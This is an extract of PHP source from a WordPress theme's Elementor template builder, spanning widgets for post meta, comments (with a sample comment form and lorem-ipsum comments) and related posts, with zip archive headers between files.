				'{{WRAPPER}} .post-box-meta-single.style-s3 .pcmt-icon:after'  => 'border-left-color:{{VALUE}} !important',
				'{{WRAPPER}} .post-box-meta-single.style-s4 .pcmt-icon:before' => 'border-left-color:{{VALUE}} !important',

			]
		] );

		$this->add_control( 'penci_single_meta_gnr_bd_color', [
			'label'     => esc_html__( 'Borders Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .pcmt-icon'                                      => 'border-color:{{VALUE}} !important',
				'{{WRAPPER}} .post-box-meta-single.style-s4 .pcmt-icon:after' => 'border-left-color:{{VALUE}} !important',
			]
		] );

		$this->end_controls_section();

	}

	protected function render() {

		if ( penci_elementor_is_edit_mode() ) {
			$this->preview_content();
		} else {
			$this->builder_content();
		}

	}

	protected function preview_content() {
		$settings = $this->get_settings();
		$label    = $settings['meta_label'] ? '<span class="label">' . $settings['meta_label'] . '</span>' : '';
		$meta     = 'meta value';
		if ( $settings['meta_img_preview'] ) {
			$meta = '<img src="' . PENCI_SOLEDAD_URL . '/inc/template-builder/placeholder.php?w=600&h=600' . '" alt=""/>';
		}

		?>
        <div class="post-box-meta-single style-<?php echo esc_attr( $settings['meta_icon_style'] ); ?>">
            <span>
	        <?php
	        if ( ! $settings['meta_icon_check'] && $settings['meta_icon'] ) {
		        echo '<span class="pcmt-icon meta-icon">';
		        \Elementor\Icons_Manager::render_icon( $settings['meta_icon'] );
		        echo '</span>';
	        }
	        ?>
	            <?php echo $label; ?>
            <span class="content"><?php echo $meta; ?></span></span>
        </div>
		<?php
	}

	protected function builder_content() {
		$settings = $this->get_settings();
		$label    = $settings['meta_label'] ? '<span class="label">' . $settings['meta_label'] . '</span>' : '';

		$meta = $meta_key = '';

		if ( 'custom' == $settings['meta_source'] && $settings['meta'] ) {
			$meta_key = $settings['meta'];
		}

		if ( 'acf' == $settings['meta_source'] && $settings['acf'] ) {
			$meta_key = $settings['acf'];
		}

		$meta = get_post_meta( get_the_ID(), $meta_key, true );

		$filed_type = penci_get_field_type( $meta_key );

		if ( 'image' == $filed_type && is_numeric( $meta ) ) {
			$meta = wp_get_attachment_image( $meta );
		}

		if ( 'url' == $filed_type || 'email' == $filed_type ) {
			$meta = '<a target="_blank" href="' . esc_url( $meta ) . '">' . esc_html( $meta ) . '</a>';
		}

		if ( $meta ) {
			?>
            <div class="post-box-meta-single style-<?php echo esc_attr( $settings['meta_icon_style'] ); ?>">
            <span>
	        <?php
	        if ( ! $settings['meta_icon_check'] && $settings['meta_icon'] ) {
		        echo '<span class="pcmt-icon meta-icon">';
		        \Elementor\Icons_Manager::render_icon( $settings['meta_icon'] );
		        echo '</span>';
	        }
	        ?><?php echo $label; ?><span class="content"><?php echo do_shortcode( wpautop( $meta ) ); ?></span></span>
            </div>
			<?php
		}
	}
}
PK     N\*2g  g  1  inc/template-builder/single-elements/comments.phpnu [        <?php

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}


class PenciSingleComments extends \Elementor\Widget_Base {

	public function get_title() {
		return esc_html__( 'Post - Comments', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-commenting-o';
	}

	public function get_categories() {
		return [ 'penci-single-builder' ];
	}

	public function get_keywords() {
		return [ 'single', 'comment' ];
	}

	protected function get_html_wrapper_class() {
		return 'pcsb-cml pcsb-cmf elementor-widget-' . $this->get_name();
	}

	public function get_name() {
		return 'penci-single-comments';
	}

	protected function register_controls() {

		$this->start_controls_section( 'content_section', [
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
		] );

		$this->add_control( 'penci_post_move_comment_box', [
			'label' => esc_html__( 'Move Comment Form to Above the List Comments ', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::SWITCHER,
		] );

		$this->add_control( 'hcomment_date', [
			'label'     => 'Hide Comment Date',
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'selectors' => [ '{{WRAPPER}} .thecomment .comment-text span.date' => 'display:none' ],
		] );

		$this->add_control( 'comment_rheading_lcolor', [
			'label'     => 'Remove Lines on The Block Heading',
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'selectors' => [ '{{WRAPPER}} .post-box-title:before,{{WRAPPER}} .post-box-title:after,{{WRAPPER}} #respond h3.comment-reply-title span:before,{{WRAPPER}} #respond h3.comment-reply-title span:after' => 'display:none' ],
		] );

		$this->add_control( 'penci_single_comments_remove_name', [
			'label'       => esc_html__( 'Hide "Name" field on Comment Form', 'soledad' ),
			'description' => 'Note that: If you want to hide this field - you need go to Dashboard > Settings > Discussion > and un-check to "Comment author must fill out name and email" - check <a href="https://imgresources.s3.amazonaws.com/discussion_settings.png" target="_blank">this image</a> for more.',
			'type'        => \Elementor\Controls_Manager::SWITCHER,
		] );

		$this->add_control( 'penci_single_comments_remove_email', [
			'label'       => esc_html__( 'Hide "Email" field on Comment Form', 'soledad' ),
			'description' => 'Note that: If you want to hide this field - you need go to Dashboard > Settings > Discussion > and un-check to "Comment author must fill out name and email" - check <a href="https://imgresources.s3.amazonaws.com/discussion_settings.png" target="_blank">this image</a> for more.',
			'type'        => \Elementor\Controls_Manager::SWITCHER,
		] );

		$this->add_control( 'penci_single_comments_remove_website', [
			'label' => esc_html__( 'Hide "Website" field on Comment Form', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::SWITCHER,
		] );

		$this->add_control( 'penci_single_hide_save_fields', [
			'label'       => esc_html__( 'Remove checkbox "Save my name, email, and website in this browser for the next time I comment."', 'soledad' ),
			'description' => 'Note that: This checkbox just appears when you use Wordpress from version 4.9.6',
			'type'        => \Elementor\Controls_Manager::SWITCHER,
		] );

		$this->add_control( 'penci_single_gdpr', [
			'label' => esc_html__( 'Enable GDPR message on Comment Form', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::SWITCHER,
		] );

		$this->add_control( 'penci_single_gdpr_text', [
			'label'   => esc_html__( 'Custom GDPR Message on Comment Form', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::TEXTAREA,
			'default' => esc_html__( '* By using this form you agree with the storage and handling of your data by this website.', 'soledad' ),
		] );

		$this->add_control( 'submit_btn_align', [
			'label'     => __( 'Submit Button Align', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::CHOOSE,
			'default'   => 'left',
			'options'   => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-text-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-text-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-text-align-right',
				),
			),
			'selectors' => [ '{{WRAPPER}} #respond p.form-submit' => 'text-align:{{VALUE}}' ],
		] );

		$this->end_controls_section();

		$this->start_controls_section( 'content_spacing_section', [
			'label' => esc_html__( 'Elements Spacing', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
		] );

		$this->add_responsive_control( 'comment_lista_spacingt', [
			'label'      => 'Spacing Between Comments List & Comment Form',
			'type'       => \Elementor\Controls_Manager::SLIDER,
			'size_units' => [ 'px' ],
			'range'      => array(
				'px' => array( 'max' => 200 ),
			),
			'selectors'  => [
				'{{WRAPPER}} .pc-cscomments.move-top .post-title-box' => 'padding-top:{{SIZE}}px;margin-top:{{SIZE}}px',
				'{{WRAPPER}} .pc-cscomments.normal h3.comment-reply-title' => 'padding-top:{{SIZE}}px!important;',

			],
			'condition'  => [ 'penci_post_move_comment_box' => 'yes' ]
		] );

		$this->add_responsive_control( 'commentl_heading', [
			'label'     => 'Comments List',
			'type'      => \Elementor\Controls_Manager::HEADING,
		] );

		$this->add_responsive_control( 'comment_heading_spacing', [
			'label'     => 'Heading Title Spacing',
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => [ '{{WRAPPER}} .post-title-box' => 'margin-bottom:{{SIZE}}px' ],
		] );

		$this->add_responsive_control( 'comment_name_spacing', [
			'label'      => 'Author Spacing',
			'type'       => \Elementor\Controls_Manager::SLIDER,
			'size_units' => [ 'px' ],
			'range'      => array(
				'px' => array( 'max' => 200 ),
			),
			'selectors'  => [ '{{WRAPPER}} .thecomment .comment-text span.author' => 'margin-bottom:{{SIZE}}px' ],
		] );

		$this->add_responsive_control( 'comment_content_spacing', [
			'label'      => 'Comment Content Spacing',
			'type'       => \Elementor\Controls_Manager::SLIDER,
			'size_units' => [ 'px' ],
			'range'      => array(
				'px' => array( 'max' => 200 ),
			),
			'selectors'  => [ '{{WRAPPER}} .thecomment .comment-content' => 'margin-top:{{SIZE}}px' ],
		] );

		$this->add_responsive_control( 'comment_list_spacingb', [
			'label'      => 'Comments List Spacing Bottom',
			'type'       => \Elementor\Controls_Manager::SLIDER,
			'size_units' => [ 'px' ],
			'range'      => array(
				'px' => array( 'max' => 200 ),
			),
			'selectors'  => [ '{{WRAPPER}} .thecomment' => 'padding-bottom:{{SIZE}}px' ],
		] );

		$this->add_responsive_control( 'comment_child_spacing', [
			'label'      => 'Sub Comments Spacing',
			'type'       => \Elementor\Controls_Manager::SLIDER,
			'size_units' => [ 'px' ],
			'range'      => array(
				'px' => array( 'max' => 200 ),
			),
			'selectors'  => [ '{{WRAPPER}} .comments .children,{{WRAPPER}} .comments>.comment>.comment,{{WRAPPER}} .comments>.comment>.comment>.comment,{{WRAPPER}} .comments>.comment>.comment>.comment>.comment,{{WRAPPER}} .comments>.comment>.comment>.comment>.comment>.comment' => 'margin:0 0 0 {{SIZE}}px' ],
		] );

		$this->add_responsive_control( 'commentf_heading', [
			'label'     => 'Comment Form',
			'type'      => \Elementor\Controls_Manager::HEADING,
		] );

		$this->add_responsive_control( 'commentf_heading_spacing', [
			'label'     => 'Comment Form Heading Title Spacing',
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => [ '{{WRAPPER}} #respond h3.comment-reply-title' => 'margin-bottom:{{SIZE}}px' ],
		] );

		$this->end_controls_section();

		$this->start_controls_section( 'color_style', [
			'label' => esc_html__( 'Comments List', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_STYLE,
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'comment_heading_typo',
			'label'    => __( 'Typography for Heading Title', 'soledad' ),
			'selector' => '{{WRAPPER}} .post-box-title',
		) );

		$this->add_control( 'comment_heading_color', [
			'label'     => 'Heading Title Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .post-box-title' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'comment_heading_lcolor', [
			'label'     => 'Heading Title Lines Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .post-box-title:before,{{WRAPPER}} .post-box-title:after' => 'background-color:{{VALUE}}' ],
		] );

		$this->add_control( 'author_ava_width', [
			'label'     => 'Author Avatar Width',
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => [
				'{{WRAPPER}} .thecomment .author-img'   => 'width:{{SIZE}}px',
				'{{WRAPPER}} .thecomment .comment-text' => 'margin-left:calc({{SIZE}}px + 20px)',
			],
		] );

		$this->add_control( 'author_ava_boderradius', [
			'label'     => 'Author Avatar Borders Radius',
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => [ '{{WRAPPER}} .thecomment .author-img' => 'border-radius:{{SIZE}}px;overflow:hidden;' ],
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'comment_author_text_typo',
			'label'    => __( 'Typography for Author Name', 'soledad' ),
			'selector' => '{{WRAPPER}} .thecomment .comment-text span.author, {{WRAPPER}} .thecomment .comment-text span.author a',
		) );

		$this->add_control( 'comment_name_color', [
			'label'     => 'Author Name Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .thecomment .comment-text span.author, {{WRAPPER}} .thecomment .comment-text span.author a' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'comment_name_hcolor', [
			'label'     => 'Author Name Hover Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .thecomment .comment-text span.author a:hover' => 'color:{{VALUE}}' ],
		] );



		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'comment_date_typo',
			'label'    => __( 'Typography for Comment Date', 'soledad' ),
			'selector' => '{{WRAPPER}} .thecomment .comment-text span.date',
		) );

		$this->add_control( 'comment_date_color', [
			'label'     => 'Color for Comment Date',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .thecomment .comment-text span.date' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'comment_date_icolor', [
			'label'     => 'Comment Date Icon Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .thecomment .comment-text span.date i' => 'color:{{VALUE}}' ],
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'comment_content_typo',
			'label'    => __( 'Typography for Comment Content', 'soledad' ),
			'selector' => '{{WRAPPER}} .thecomment .comment-content',
		) );

		$this->add_control( 'comment_content_color', [
			'label'     => 'Color for Comment Content',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .thecomment .comment-content' => 'color:{{VALUE}}' ],
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'comment_reply_typo',
			'label'    => __( 'Typography for Reply Button', 'soledad' ),
			'selector' => '{{WRAPPER}} .post-comments span.reply a,{{WRAPPER}} #respond h3 small a',
		) );

		$this->add_control( 'comment_reply_color', [
			'label'     => 'Reply Button Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .post-comments span.reply a,{{WRAPPER}} #respond h3 small a' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'comment_reply_hcolor', [
			'label'     => 'Reply Button Hover Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .post-comments span.reply a:hover,{{WRAPPER}} #respond h3 small a:hover' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'comment_item_bcolor', [
			'label'     => 'General Borders Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .comments .comment,{{WRAPPER}} .pc-cscomments.move-top .post-title-box,{{WRAPPER}} #respond h3' => 'border-color:{{VALUE}}' ],
		] );

		$this->add_responsive_control( 'comment_list_spacingt', [
			'label'      => 'Comments List Spacing Top',
			'type'       => \Elementor\Controls_Manager::SLIDER,
			'size_units' => [ 'px' ],
			'range'      => array(
				'px' => array( 'max' => 200 ),
			),
			'selectors'  => [
				'{{WRAPPER}} .thecomment'                                    => 'padding-top:{{SIZE}}px',
				'{{WRAPPER}} .comments > .comment:first-child > .thecomment' => 'padding-top:0',
			],
		] );

		$this->end_controls_section();

		$this->start_controls_section( 'comment_form_style', [
			'label' => esc_html__( 'Comment Form', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_STYLE,
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'comment_form_heading_typo',
			'label'    => __( 'Typography for Heading Title', 'soledad' ),
			'selector' => '{{WRAPPER}} #respond h3.comment-reply-title span',
		) );

		$this->add_control( 'commentf_heading_color', [
			'label'     => 'Heading Title Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} #respond h3.comment-reply-title span' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'commentf_heading_lcolor', [
			'label'     => 'Heading Title Lines Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} #respond h3.comment-reply-title span:before,{{WRAPPER}} #respond h3.comment-reply-title span:after' => 'background-color:{{VALUE}}' ],
		] );

		$this->add_control( 'commentf_form_settings', [
			'label' => 'Comment Form',
			'type'  => \Elementor\Controls_Manager::HEADING,
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'commentf_input_text_typo',
			'label'    => __( 'Typography for Input Text', 'soledad' ),
			'selector' => '{{WRAPPER}} #respond textarea, {{WRAPPER}} #respond input',
		) );

		$this->add_control( 'commentf_input_text_color', [
			'label'     => 'Input Text Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} #respond textarea, {{WRAPPER}} #respond input' => 'color:{{VALUE}}',
				'{{WRAPPER}} #respond ::placeholder'                        => 'color:{{VALUE}}',
			],
		] );


		$this->add_control( 'commentf_input_border_color', [
			'label'     => 'Input Borders Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} #respond textarea, {{WRAPPER}} #respond input' => 'border-color:{{VALUE}}' ],
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'commentf_btn_text_typo',
			'label'    => __( 'Typography for Submit Text', 'soledad' ),
			'selector' => '{{WRAPPER}} #respond #submit',
		) );

		$this->add_control( 'commentf_submit_bg_color', [
			'label'     => 'Submit Background Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} #respond #submit' => 'background-color:{{VALUE}}' ],
		] );

		$this->add_control( 'commentf_submit_bg_hcolor', [
			'label'     => 'Submit Background Hover Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} #respond #submit:hover' => 'background-color:{{VALUE}}' ],
		] );

		$this->add_control( 'commentf_submit_txt_color', [
			'label'     => 'Submit Text Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} #respond #submit' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'commentf_submit_txt_hcolor', [
			'label'     => 'Submit Text Hover Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} #respond #submit:hover' => 'color:{{VALUE}}' ],
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'      => 'commentf_cookies_notice_typo',
			'label'     => __( 'Typography for Cookie Save Notice', 'soledad' ),
			'selector'  => '{{WRAPPER}} #respond .comment-form-cookies-consent',
			'condition' => [ 'penci_single_hide_save_fields!' => 'yes' ]
		) );

		$this->add_control( 'commentf_cookies_notice_color', [
			'label'     => 'Cookie Save Notice Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} #respond .comment-form-cookies-consent' => 'color:{{VALUE}}' ],
			'condition' => [ 'penci_single_hide_save_fields!' => 'yes' ]
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'      => 'commentf_gdpr_text_typo',
			'label'     => __( 'Typography for GDPR Message', 'soledad' ),
			'selector'  => '{{WRAPPER}} #respond .penci-gdpr-message',
			'condition' => [ 'penci_single_gdpr' => 'yes' ]
		) );

		$this->add_control( 'commentf_gdpr_text_color', [
			'label'     => 'GDPR Message Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} #respond .penci-gdpr-message' => 'color:{{VALUE}}' ],
			'condition' => [ 'penci_single_gdpr' => 'yes' ]
		] );

		$this->end_controls_section();

	}

	protected function render() {

		if ( penci_elementor_is_edit_mode() ) {
			$this->preview_content();
		} else {
			$this->builder_content();
		}

	}

	protected function preview_content() {
		$settings   = $this->get_settings();
		$hide_count = 0;
		if ( $settings['penci_single_comments_remove_name'] ) {
			$hide_count += 1;
		}
		if ( $settings['penci_single_comments_remove_email'] ) {
			$hide_count += 1;
		}
		if ( $settings['penci_single_comments_remove_website'] ) {
			$hide_count += 1;
		}
		$comment_form = '<div id="respond" class="comment-respond">
    <h3 id="reply-title" class="comment-reply-title">
    	<span>Leave a Comment</span>
    	<small><a rel="nofollow" id="cancel-comment-reply-link" href="#respond" style="display:none;">Cancel Reply</a></small>
    </h3>
    <form action="#" method="post" id="commentform" class="comment-form">
        <p class="comment-form-comment"><textarea id="comment" name="comment" cols="45" rows="8" placeholder="Your Comment" aria-required="true" spellcheck="false"></textarea></p>';

		if ( ! $settings['penci_single_comments_remove_name'] ) {
			$comment_form .= '<p class="comment-form-author"><input id="author" name="author" type="text" value="" placeholder="Name*" size="30" aria-required="true"></p>';
		}

		if ( ! $settings['penci_single_comments_remove_email'] ) {
			$comment_form .= '<p class="comment-form-email"><input id="email" name="email" type="text" value="" placeholder="Email*" size="30" aria-required="true"></p>';
		}

		if ( ! $settings['penci_single_comments_remove_website'] ) {
			$comment_form .= '<p class="comment-form-url"><input id="url" name="url" type="text" value="" placeholder="Website" size="30"></p>';
		}
		if ( ! $settings['penci_single_hide_save_fields'] ) {
			$comment_form .= '<p class="comment-form-cookies-consent">
        	<input id="wp-comment-cookies-consent" name="wp-comment-cookies-consent" type="checkbox" value="yes">
        	<span class="comment-form-cookies-text" for="wp-comment-cookies-consent">Save my name, email, and website in this browser for the next time I comment.</span>
        </p>';
		}
		if ( $settings['penci_single_gdpr'] ) {
			$comment_form .= '<div class="penci-gdpr-message">' . $settings['penci_single_gdpr_text'] . '</div>';
		}
		$comment_form .= '<p class="form-submit"><input name="submit" type="submit" id="submit" class="submit" value="Submit"></p>
    </form>
</div>';
		$comment_list = '<div class="post-title-box"><h4 class="post-box-title">3 comments</h4></div><div class="comments">
    <div class="comment byuser comment-author-admin even thread-even depth-1" id="comment-62" itemprop="" itemscope="itemscope" itemtype="https://schema.org/UserComments">
        <meta itemprop="discusses" content="Green Corner in My Home">
        <link itemprop="url" href="#comment-62">
        <div class="thecomment">
            <div class="author-img">
                <img alt="" src="' . PENCI_SOLEDAD_URL . '/inc/template-builder/placeholder.php?w=100&h=100" width="100" height="100"></div>
            <div class="comment-text">
                <span class="author" itemprop="creator" itemtype="https://schema.org/Person"><span itemprop="name"><a href="http://pencidesign.com/" rel="external nofollow ugc" class="url">Penci</a></span></span>
                <span class="date" datetime="2017-07-19T03:55:55+00:00" title="Wednesday, July 19, 2017, 3:55 am" itemprop="commentTime"><i class="penci-faicon fa fa-clock-o"></i>July 19, 2017 - 3:55 am</span>
                <div class="comment-content" itemprop="commentText">
                    <p>Neque porro quisquam est, qui dolorem
                        ipsum quia dolor sit amet, consectetur, adipisci velit, sed quia non numquam eius
                        modi
                        tempora incidunt ut labore.</p>
                </div>
                <span class="reply">
                    <a rel="nofollow" class="comment-reply-link" href="#?replytocom=62#respond" data-commentid="62" data-postid="243" data-belowelement="comment-62" data-respondelement="respond" data-replyto="Reply to Penci" aria-label="Reply to Penci">Reply</a> </span>
            </div>
        </div>
        <div class="comment byuser comment-author-admin odd alt depth-2" id="comment-63" itemprop="" itemscope="itemscope" itemtype="https://schema.org/UserComments">
            <meta itemprop="discusses" content="Green Corner in My Home">
            <link itemprop="url" href="#comment-63">
            <div class="thecomment">
                <div class="author-img">
                    <img alt="" src="' . PENCI_SOLEDAD_URL . '/inc/template-builder/placeholder.php?w=100&h=100" width="100" height="100"></div>
                <div class="comment-text">
                    <span class="author" itemprop="creator" itemtype="https://schema.org/Person"><span itemprop="name"><a href="http://pencidesign.com/" rel="external nofollow ugc" class="url">Penci</a></span></span>
                    <span class="date" datetime="2017-07-19T03:56:02+00:00" title="Wednesday, July 19, 2017, 3:56 am" itemprop="commentTime"><i class="penci-faicon fa fa-clock-o"></i>July 19, 2017 - 3:56 am</span>
                    <div class="comment-content" itemprop="commentText">
                        <p>Quis autem vel eum iure
                            reprehenderit
                            qui in ea voluptate velit esse quam nihil.</p>
                    </div>
                    <span class="reply">
                        <a rel="nofollow" class="comment-reply-link" href="#?replytocom=63#respond" data-commentid="63" data-postid="243" data-belowelement="comment-63" data-respondelement="respond" data-replyto="Reply to Penci" aria-label="Reply to Penci">Reply</a> </span>
                </div>
            </div>
        </div><!-- #comment-## -->
    </div><!-- #comment-## -->
    <div class="comment byuser comment-author-admin even thread-odd thread-alt depth-1" id="comment-64" itemprop="" itemscope="itemscope" itemtype="https://schema.org/UserComments">
        <meta itemprop="discusses" content="Green Corner in My Home">
        <link itemprop="url" href="#comment-64">
        <div class="thecomment">
            <div class="author-img">
                <img alt="" src="' . PENCI_SOLEDAD_URL . '/inc/template-builder/placeholder.php?w=100&h=100" width="100" height="100"></div>
            <div class="comment-text">
                <span class="author" itemprop="creator" itemtype="https://schema.org/Person"><span itemprop="name"><a href="http://pencidesign.com/" rel="external nofollow ugc" class="url">Penci</a></span></span>
                <span class="date" datetime="2017-07-19T03:56:10+00:00" title="Wednesday, July 19, 2017, 3:56 am" itemprop="commentTime"><i class="penci-faicon fa fa-clock-o"></i>July 19, 2017 - 3:56 am</span>
                <div class="comment-content" itemprop="commentText">
                    <p>Et harum quidem rerum facilis est et
                        expedita distinctio. Nam libero tempore, cum soluta nobis est eligendi optio cumque
                        nihil impedit quo minus id quod maxime placeat facere.</p>
                </div>
                <span class="reply">
                    <a rel="nofollow" class="comment-reply-link" href="#?replytocom=64#respond" data-commentid="64" data-postid="243" data-belowelement="comment-64" data-respondelement="respond" data-replyto="Reply to Penci" aria-label="Reply to Penci">Reply</a> </span>
            </div>
        </div>
    </div><!-- #comment-## -->
</div>';
		$class        = $settings['penci_post_move_comment_box'] ? 'move-top' : 'normal';
		echo '<div class="pc-cscomments ' . $class . '">';
		echo '<div id="comments" class="post-comments penci-comments-hide-' . $hide_count . '">';
		if ( $settings['penci_post_move_comment_box'] ) {
			echo $comment_form . $comment_list;
		} else {
			echo $comment_list . $comment_form;
		}
		echo '</div></div>';
	}

	protected function builder_content() {
		$settings = $this->get_settings();
		$mods     = [
			'penci_single_gdpr_text',
			'penci_single_gdpr',
			'penci_single_hide_save_fields',
			'penci_post_move_comment_box',
			'penci_single_comments_remove_name',
			'penci_single_comments_remove_email',
			'penci_single_comments_remove_website'
		];
		foreach ( $mods as $mod ) {
			$value = $settings[ $mod ];
			add_filter( 'theme_mod_' . $mod, function () use ( $value ) {
				return $value;
			} );
		}
		$class = $settings['penci_post_move_comment_box'] ? 'move-top' : 'normal';
		echo '<div class="pc-cscomments ' . $class . '">';
		comments_template();
		echo '</div>';
	}
}
PK     N\C-     4  inc/template-builder/single-elements/relatedpost.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}


class PenciSingleRelatedpost extends \Elementor\Widget_Base {

	public function get_name() {
		return 'penci-single-related-posts';
	}

	public function get_title() {
		return esc_html__( 'Post - Related Posts', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-posts-grid';
	}

	public function get_categories() {
		return [ 'penci-single-builder' ];
	}

	public function get_keywords() {
		return [ 'single', 'post', 'related' ];
	}

	protected function register_controls() {

		$this->start_controls_section(
			'content_section',
			[
				'label' => esc_html__( 'General', 'soledad' ),
				'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
			]
		);

        $this->add_control(
			'penci_post_related_text',
			[
				'label' => esc_html__( 'Related Heading Text', 'soledad' ),
				'type'  => \Elementor\Controls_Manager::TEXT,
				'default'  => penci_get_setting('penci_post_related_text'),
			]
		);

        $this->add_control(
			'penci_hide_heading',
			[
				'label' => esc_html__( 'Use Custom Heading Style?', 'soledad' ),
				'type'  => \Elementor\Controls_Manager::SWITCHER,
			]
		);

		$this->add_control(
			'penci_post_related_autoplay',
			[
				'label' => esc_html__( 'Related Posts Carousel Auto Play', 'soledad' ),
				'type'  => \Elementor\Controls_Manager::SWITCHER,
			]
		);

		$this->add_control(
			'penci_numbers_related_post',
			[
				'label' => esc_html__( 'Number of Related Posts', 'soledad' ),
				'type'  => \Elementor\Controls_Manager::NUMBER,
				 'default' => 4,
			]
		);

		$this->add_control(
			'penci_related_style',
			[
				'label'   => esc_html__( 'Related Posts Style', 'soledad' ),
				'type'    => \Elementor\Controls_Manager::SELECT,
                'default' => 'style-1',
				'options' => [
					'style-1' => 'Style 1',
					'style-2' => 'Style 2',
					'style-3' => 'Style 3',
					'style-4' => 'Style 4',
					'style-5' => 'Style 5',
					'style-5' => 'Style 6',
				]
			]
		);

		$this->add_control(
			'penci_related_orderby',
			[
				'label'   => esc_html__( 'Order Related Posts By', 'soledad' ),
				'type'    => \Elementor\Controls_Manager::SELECT,
                'default' => 'date',
				'options' => [
					'rand'          => 'Random Posts',
					'date'          => 'Published Date',
					'ID'            => 'Post ID',
					'modified'      => 'Modified Date',
					'title'         => 'Post Title',
					'comment_count' => 'Comment Count',
					'popular'       => 'Most Viewed Posts All Time',
					'popular_day'   => 'Most Viewed Posts Daily',
					'popular7'      => 'Most Viewed Posts Once Weekly',
					'popular_month' => 'Most Viewed Posts Once a Month',
				]
			]
		);

		$this->add_control(
			'penci_related_sort_order',
			[
				'label'   => esc_html__( 'Sort Order Related Posts', 'soledad' ),
				'type'    => \Elementor\Controls_Manager::SELECT,
                'default' => 'DESC',
				'options' => [
					'DESC' => 'Descending',
					'ASC'  => 'Ascending '
				]
			]
		);

		$this->add_control(
			'penci_related_posts_title_length',
			[
				'label' => esc_html__( 'Title Length', 'soledad' ),
				'type'  => \Elementor\Controls_Manager::NUMBER,
			]
		);

		$this->add_control(
			'penci_related_by',
			[
				'label'   => esc_html__( 'Related Posts By', 'soledad' ),
				'type'    => \Elementor\Controls_Manager::SELECT,
                'default' => 'categories',
				'options' => array(
					'categories'  => 'Categories',
